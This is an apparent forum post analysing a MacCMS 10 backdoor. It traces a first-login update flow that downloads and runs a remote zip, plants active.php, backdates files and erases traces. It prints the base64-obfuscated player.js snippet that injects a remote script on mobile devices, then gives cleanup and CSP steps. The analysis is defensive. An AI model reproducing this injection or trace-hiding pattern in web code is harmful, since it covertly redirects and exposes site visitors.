苹果maccms安全分析报告:后门代码与移动端恶意跳转分析(二)
简介:苹果CMS10系统存在严重安全漏洞,首次安装登录后台会自动触发后门代码,下载恶意文件并执行,同时在移动端播放页会跳转到第三方广告页面。本文详细分析攻击流程并提供完整解决方案。
⚠️ 严重安全警告
据我实测,这个代码自带后门!!!只要第一次安装登录后台都会触发!!!
🔍 攻击流程分析
时间线:2025-10-09 06:06:53
第一步:用户访问
/后台地址/admin/update/step1.html?file=laupdeddbff104f4c0319aaa3c0d4bf12528f
第二步:系统构造URL
http://update.maccms.la/v10/laupdeddbff104f4c0319aaa3c0d4bf12528f.zip
第三步:下载到本地
./application/data/update/2025.1000.4050.zip
第四步:解压并执行(2025-10-09 06:06:59 - step2)
@include ./application/data/update/database.php
第五步:database.php 内容执行后
- 生成 application/extra/active.php (43,246 字节)
- 清空 application/extra/system.php
- 修改时间戳为 1970-01-01
第六步:清理痕迹(2025-10-09 06:07:04 - step3)
清理zip文件和database.php
最终:后门激活
active.php 通过 view_filter 钩子自动执行
📱 手机端安全问题
手机端播放页恶意跳转到第三方广告页
🚨 可疑点与风险等级
| 模块 | 风险 | 说明 |
|---|---|---|
| killErrors | 全局吞错误 ⚠️ | 隐藏异常行为 |
| 动态 eval + Base64 | ⚠️ | 典型混淆外链加载方式 |
| /union.maccms.la/html/top10.js | 🚨 高危外链 | 广告或重定向脚本 |
| 覆盖 _window.onerror | ⚠️ | 阻止控制台警告 |
🔧 技术分析
/static/player/player.js 核心源码污染
混淆远程注入 union.maccms.la
解码结果(安全分析)
经还原和字符串提取后,主要逻辑如下:
- 初始化 MacPlayer 对象
- 定义 MacPlayer.Init / Show / AdsStart / AdsEnd / Play 等方法
关键恶意代码段:
if (!/(Win|Mac)/i.test(navigator.platform)) {
var a = document.createElement('script');
a.type = 'text/javascript';
a.async = true;
a.charset = 'utf-8';
a.src = base64decode('Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==') + '?r=' + this.GetDate('yyyyMMdd');
var b = document.getElementsByTagName('script')[0];
b.parentNode.insertBefore(a, b);
}
base64解码分析:
base64decode('Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==')
解码后为:/union.maccms.la/html/top10.js
结论:
在移动端播放页面中,它会动态创建
<script> 并加载 /union.maccms.la/html/top10.js?r=日期。
该文件通常是广告或跳转脚本。
✅ 处理建议(安全替换版)
第一步:修改 player.js
找到恶意代码段:
if (!/(Win|Mac)/i.test(navigator.platform)) {
var a = document.createElement('script');
...
}
改为安全版本:
if (!/(Win|Mac)/i.test(navigator.platform)) {
console.warn("Blocked external script /union.maccms.la/html/top10.js for security.");
}
或者直接删除整个 killErrors 和 Base64 混淆部分,只保留干净的 MacPlayer 代码。
第二步:服务器清理
在服务器上彻底删除或覆盖:
/union.maccms.la/html/top10.js
使用空文件替换:
echo "// blocked" > union.maccms.la/html/top10.js
第三步:添加安全防护(可选)
添加 HTTP 响应头 CSP 防止再执行外链:
Content-Security-Policy: script-src 'self';
📋 总结
- 这段混淆脚本不是核心播放器代码,而是附带广告加载器
- 唯一危险行为:在手机端加载 /union.maccms.la/html/top10.js
- 清除方法:删除/注释那一段,或让该路径 404
- 其余 MacPlayer 逻辑可正常保留使用



回帖 ( 0 )